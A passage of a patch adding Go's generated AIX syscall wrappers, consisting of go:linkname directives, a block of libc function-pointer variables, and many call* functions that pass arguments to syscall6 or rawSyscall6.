-+//go:linkname libc_renameat libc_renameat
-+//go:linkname libc_setdomainname libc_setdomainname
-+//go:linkname libc_sethostname libc_sethostname
-+//go:linkname libc_setpgid libc_setpgid
-+//go:linkname libc_setsid libc_setsid
-+//go:linkname libc_settimeofday libc_settimeofday
-+//go:linkname libc_setuid libc_setuid
-+//go:linkname libc_setgid libc_setgid
-+//go:linkname libc_setpriority libc_setpriority
-+//go:linkname libc_statx libc_statx
-+//go:linkname libc_sync libc_sync
-+//go:linkname libc_times libc_times
-+//go:linkname libc_umask libc_umask
-+//go:linkname libc_uname libc_uname
-+//go:linkname libc_unlink libc_unlink
-+//go:linkname libc_unlinkat libc_unlinkat
-+//go:linkname libc_ustat libc_ustat
-+//go:linkname libc_write libc_write
-+//go:linkname libc_dup2 libc_dup2
-+//go:linkname libc_posix_fadvise64 libc_posix_fadvise64
-+//go:linkname libc_fchown libc_fchown
-+//go:linkname libc_fstat libc_fstat
-+//go:linkname libc_fstatat libc_fstatat
-+//go:linkname libc_fstatfs libc_fstatfs
-+//go:linkname libc_ftruncate libc_ftruncate
-+//go:linkname libc_getegid libc_getegid
-+//go:linkname libc_geteuid libc_geteuid
-+//go:linkname libc_getgid libc_getgid
-+//go:linkname libc_getuid libc_getuid
-+//go:linkname libc_lchown libc_lchown
-+//go:linkname libc_listen libc_listen
-+//go:linkname libc_lstat libc_lstat
-+//go:linkname libc_pause libc_pause
-+//go:linkname libc_pread64 libc_pread64
-+//go:linkname libc_pwrite64 libc_pwrite64
-+//go:linkname libc_select libc_select
-+//go:linkname libc_pselect libc_pselect
-+//go:linkname libc_setregid libc_setregid
-+//go:linkname libc_setreuid libc_setreuid
-+//go:linkname libc_shutdown libc_shutdown
-+//go:linkname libc_splice libc_splice
-+//go:linkname libc_stat libc_stat
-+//go:linkname libc_statfs libc_statfs
-+//go:linkname libc_truncate libc_truncate
-+//go:linkname libc_bind libc_bind
-+//go:linkname libc_connect libc_connect
-+//go:linkname libc_getgroups libc_getgroups
-+//go:linkname libc_setgroups libc_setgroups
-+//go:linkname libc_getsockopt libc_getsockopt
-+//go:linkname libc_setsockopt libc_setsockopt
-+//go:linkname libc_socket libc_socket
-+//go:linkname libc_socketpair libc_socketpair
-+//go:linkname libc_getpeername libc_getpeername
-+//go:linkname libc_getsockname libc_getsockname
-+//go:linkname libc_recvfrom libc_recvfrom
-+//go:linkname libc_sendto libc_sendto
-+//go:linkname libc_nrecvmsg libc_nrecvmsg
-+//go:linkname libc_nsendmsg libc_nsendmsg
-+//go:linkname libc_munmap libc_munmap
-+//go:linkname libc_madvise libc_madvise
-+//go:linkname libc_mprotect libc_mprotect
-+//go:linkname libc_mlock libc_mlock
-+//go:linkname libc_mlockall libc_mlockall
-+//go:linkname libc_msync libc_msync
-+//go:linkname libc_munlock libc_munlock
-+//go:linkname libc_munlockall libc_munlockall
-+//go:linkname libc_pipe libc_pipe
-+//go:linkname libc_poll libc_poll
-+//go:linkname libc_gettimeofday libc_gettimeofday
-+//go:linkname libc_time libc_time
-+//go:linkname libc_utime libc_utime
-+//go:linkname libc_getsystemcfg libc_getsystemcfg
-+//go:linkname libc_umount libc_umount
-+//go:linkname libc_getrlimit libc_getrlimit
-+//go:linkname libc_setrlimit libc_setrlimit
-+//go:linkname libc_lseek libc_lseek
-+//go:linkname libc_mmap64 libc_mmap64
-+
-+type syscallFunc uintptr
-+
-+var (
-+ libc_utimes,
-+ libc_utimensat,
-+ libc_getcwd,
-+ libc_accept,
-+ libc_getdirent,
-+ libc_wait4,
-+ libc_ioctl,
-+ libc_fcntl,
-+ libc_acct,
-+ libc_chdir,
-+ libc_chroot,
-+ libc_close,
-+ libc_dup,
-+ libc_exit,
-+ libc_faccessat,
-+ libc_fchdir,
-+ libc_fchmod,
-+ libc_fchmodat,
-+ libc_fchownat,
-+ libc_fdatasync,
-+ libc_fsync,
-+ libc_getpgid,
-+ libc_getpgrp,
-+ libc_getpid,
-+ libc_getppid,
-+ libc_getpriority,
-+ libc_getrusage,
-+ libc_getsid,
-+ libc_kill,
-+ libc_syslog,
-+ libc_mkdir,
-+ libc_mkdirat,
-+ libc_mkfifo,
-+ libc_mknod,
-+ libc_mknodat,
-+ libc_nanosleep,
-+ libc_open64,
-+ libc_openat,
-+ libc_read,
-+ libc_readlink,
-+ libc_renameat,
-+ libc_setdomainname,
-+ libc_sethostname,
-+ libc_setpgid,
-+ libc_setsid,
-+ libc_settimeofday,
-+ libc_setuid,
-+ libc_setgid,
-+ libc_setpriority,
-+ libc_statx,
-+ libc_sync,
-+ libc_times,
-+ libc_umask,
-+ libc_uname,
-+ libc_unlink,
-+ libc_unlinkat,
-+ libc_ustat,
-+ libc_write,
-+ libc_dup2,
-+ libc_posix_fadvise64,
-+ libc_fchown,
-+ libc_fstat,
-+ libc_fstatat,
-+ libc_fstatfs,
-+ libc_ftruncate,
-+ libc_getegid,
-+ libc_geteuid,
-+ libc_getgid,
-+ libc_getuid,
-+ libc_lchown,
-+ libc_listen,
-+ libc_lstat,
-+ libc_pause,
-+ libc_pread64,
-+ libc_pwrite64,
-+ libc_select,
-+ libc_pselect,
-+ libc_setregid,
-+ libc_setreuid,
-+ libc_shutdown,
-+ libc_splice,
-+ libc_stat,
-+ libc_statfs,
-+ libc_truncate,
-+ libc_bind,
-+ libc_connect,
-+ libc_getgroups,
-+ libc_setgroups,
-+ libc_getsockopt,
-+ libc_setsockopt,
-+ libc_socket,
-+ libc_socketpair,
-+ libc_getpeername,
-+ libc_getsockname,
-+ libc_recvfrom,
-+ libc_sendto,
-+ libc_nrecvmsg,
-+ libc_nsendmsg,
-+ libc_munmap,
-+ libc_madvise,
-+ libc_mprotect,
-+ libc_mlock,
-+ libc_mlockall,
-+ libc_msync,
-+ libc_munlock,
-+ libc_munlockall,
-+ libc_pipe,
-+ libc_poll,
-+ libc_gettimeofday,
-+ libc_time,
-+ libc_utime,
-+ libc_getsystemcfg,
-+ libc_umount,
-+ libc_getrlimit,
-+ libc_setrlimit,
-+ libc_lseek,
-+ libc_mmap64 syscallFunc
-+)
-+
-+// Implemented in runtime/syscall_aix.go.
-+func rawSyscall6(trap, nargs, a1, a2, a3, a4, a5, a6 uintptr) (r1, r2 uintptr, err Errno)
-+func syscall6(trap, nargs, a1, a2, a3, a4, a5, a6 uintptr) (r1, r2 uintptr, err Errno)
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callutimes(_p0 uintptr, times uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_utimes)), 2, _p0, times, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callutimensat(dirfd int, _p0 uintptr, times uintptr, flag int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_utimensat)), 4, uintptr(dirfd), _p0, times, uintptr(flag), 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetcwd(_p0 uintptr, _lenp0 int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_getcwd)), 2, _p0, uintptr(_lenp0), 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callaccept(s int, rsa uintptr, addrlen uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_accept)), 3, uintptr(s), rsa, addrlen, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetdirent(fd int, _p0 uintptr, _lenp0 int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_getdirent)), 3, uintptr(fd), _p0, uintptr(_lenp0), 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callwait4(pid int, status uintptr, options int, rusage uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_wait4)), 4, uintptr(pid), status, uintptr(options), rusage, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callioctl(fd int, req int, arg uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_ioctl)), 3, uintptr(fd), uintptr(req), arg, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callfcntl(fd uintptr, cmd int, arg uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_fcntl)), 3, fd, uintptr(cmd), arg, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callacct(_p0 uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_acct)), 1, _p0, 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callchdir(_p0 uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_chdir)), 1, _p0, 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callchroot(_p0 uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_chroot)), 1, _p0, 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callclose(fd int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_close)), 1, uintptr(fd), 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func calldup(oldfd int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_dup)), 1, uintptr(oldfd), 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callexit(code int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_exit)), 1, uintptr(code), 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callfaccessat(dirfd int, _p0 uintptr, mode uint32, flags int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_faccessat)), 4, uintptr(dirfd), _p0, uintptr(mode), uintptr(flags), 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callfchdir(fd int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_fchdir)), 1, uintptr(fd), 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callfchmod(fd int, mode uint32) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_fchmod)), 2, uintptr(fd), uintptr(mode), 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callfchmodat(dirfd int, _p0 uintptr, mode uint32, flags int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_fchmodat)), 4, uintptr(dirfd), _p0, uintptr(mode), uintptr(flags), 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callfchownat(dirfd int, _p0 uintptr, uid int, gid int, flags int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_fchownat)), 5, uintptr(dirfd), _p0, uintptr(uid), uintptr(gid), uintptr(flags), 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callfdatasync(fd int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_fdatasync)), 1, uintptr(fd), 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callfsync(fd int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_fsync)), 1, uintptr(fd), 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetpgid(pid int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = rawSyscall6(uintptr(unsafe.Pointer(&libc_getpgid)), 1, uintptr(pid), 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetpgrp() (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_getpgrp)), 0, 0, 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetpid() (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = rawSyscall6(uintptr(unsafe.Pointer(&libc_getpid)), 0, 0, 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetppid() (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = rawSyscall6(uintptr(unsafe.Pointer(&libc_getppid)), 0, 0, 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetpriority(which int, who int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_getpriority)), 2, uintptr(which), uintptr(who), 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetrusage(who int, rusage uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = rawSyscall6(uintptr(unsafe.Pointer(&libc_getrusage)), 2, uintptr(who), rusage, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetsid(pid int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = rawSyscall6(uintptr(unsafe.Pointer(&libc_getsid)), 1, uintptr(pid), 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callkill(pid int, sig int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = rawSyscall6(uintptr(unsafe.Pointer(&libc_kill)), 2, uintptr(pid), uintptr(sig), 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsyslog(typ int, _p0 uintptr, _lenp0 int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_syslog)), 3, uintptr(typ), _p0, uintptr(_lenp0), 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callmkdir(dirfd int, _p0 uintptr, mode uint32) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_mkdir)), 3, uintptr(dirfd), _p0, uintptr(mode), 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callmkdirat(dirfd int, _p0 uintptr, mode uint32) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_mkdirat)), 3, uintptr(dirfd), _p0, uintptr(mode), 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callmkfifo(_p0 uintptr, mode uint32) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_mkfifo)), 2, _p0, uintptr(mode), 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callmknod(_p0 uintptr, mode uint32, dev int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_mknod)), 3, _p0, uintptr(mode), uintptr(dev), 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callmknodat(dirfd int, _p0 uintptr, mode uint32, dev int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_mknodat)), 4, uintptr(dirfd), _p0, uintptr(mode), uintptr(dev), 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callnanosleep(time uintptr, leftover uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_nanosleep)), 2, time, leftover, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callopen64(_p0 uintptr, mode int, perm uint32) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_open64)), 3, _p0, uintptr(mode), uintptr(perm), 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callopenat(dirfd int, _p0 uintptr, flags int, mode uint32) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_openat)), 4, uintptr(dirfd), _p0, uintptr(flags), uintptr(mode), 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callread(fd int, _p0 uintptr, _lenp0 int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_read)), 3, uintptr(fd), _p0, uintptr(_lenp0), 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callreadlink(_p0 uintptr, _p1 uintptr, _lenp1 int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_readlink)), 3, _p0, _p1, uintptr(_lenp1), 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callrenameat(olddirfd int, _p0 uintptr, newdirfd int, _p1 uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_renameat)), 4, uintptr(olddirfd), _p0, uintptr(newdirfd), _p1, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsetdomainname(_p0 uintptr, _lenp0 int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_setdomainname)), 2, _p0, uintptr(_lenp0), 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsethostname(_p0 uintptr, _lenp0 int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_sethostname)), 2, _p0, uintptr(_lenp0), 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsetpgid(pid int, pgid int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = rawSyscall6(uintptr(unsafe.Pointer(&libc_setpgid)), 2, uintptr(pid), uintptr(pgid), 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsetsid() (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = rawSyscall6(uintptr(unsafe.Pointer(&libc_setsid)), 0, 0, 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsettimeofday(tv uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = rawSyscall6(uintptr(unsafe.Pointer(&libc_settimeofday)), 1, tv, 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsetuid(uid int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_setuid)), 1, uintptr(uid), 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsetgid(uid int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_setgid)), 1, uintptr(uid), 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsetpriority(which int, who int, prio int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_setpriority)), 3, uintptr(which), uintptr(who), uintptr(prio), 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callstatx(dirfd int, _p0 uintptr, flags int, mask int, stat uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_statx)), 5, uintptr(dirfd), _p0, uintptr(flags), uintptr(mask), stat, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsync() (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_sync)), 0, 0, 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func calltimes(tms uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = rawSyscall6(uintptr(unsafe.Pointer(&libc_times)), 1, tms, 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callumask(mask int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = rawSyscall6(uintptr(unsafe.Pointer(&libc_umask)), 1, uintptr(mask), 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func calluname(buf uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = rawSyscall6(uintptr(unsafe.Pointer(&libc_uname)), 1, buf, 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callunlink(_p0 uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_unlink)), 1, _p0, 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callunlinkat(dirfd int, _p0 uintptr, flags int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_unlinkat)), 3, uintptr(dirfd), _p0, uintptr(flags), 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callustat(dev int, ubuf uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_ustat)), 2, uintptr(dev), ubuf, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callwrite(fd int, _p0 uintptr, _lenp0 int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_write)), 3, uintptr(fd), _p0, uintptr(_lenp0), 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func calldup2(oldfd int, newfd int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_dup2)), 2, uintptr(oldfd), uintptr(newfd), 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callposix_fadvise64(fd int, offset int64, length int64, advice int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_posix_fadvise64)), 4, uintptr(fd), uintptr(offset), uintptr(length), uintptr(advice), 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callfchown(fd int, uid int, gid int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_fchown)), 3, uintptr(fd), uintptr(uid), uintptr(gid), 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callfstat(fd int, stat uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_fstat)), 2, uintptr(fd), stat, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callfstatat(dirfd int, _p0 uintptr, stat uintptr, flags int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_fstatat)), 4, uintptr(dirfd), _p0, stat, uintptr(flags), 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callfstatfs(fd int, buf uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_fstatfs)), 2, uintptr(fd), buf, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callftruncate(fd int, length int64) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_ftruncate)), 2, uintptr(fd), uintptr(length), 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetegid() (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = rawSyscall6(uintptr(unsafe.Pointer(&libc_getegid)), 0, 0, 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgeteuid() (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = rawSyscall6(uintptr(unsafe.Pointer(&libc_geteuid)), 0, 0, 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetgid() (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = rawSyscall6(uintptr(unsafe.Pointer(&libc_getgid)), 0, 0, 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetuid() (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = rawSyscall6(uintptr(unsafe.Pointer(&libc_getuid)), 0, 0, 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func calllchown(_p0 uintptr, uid int, gid int) (r1 uintptr, e1 Errno) {
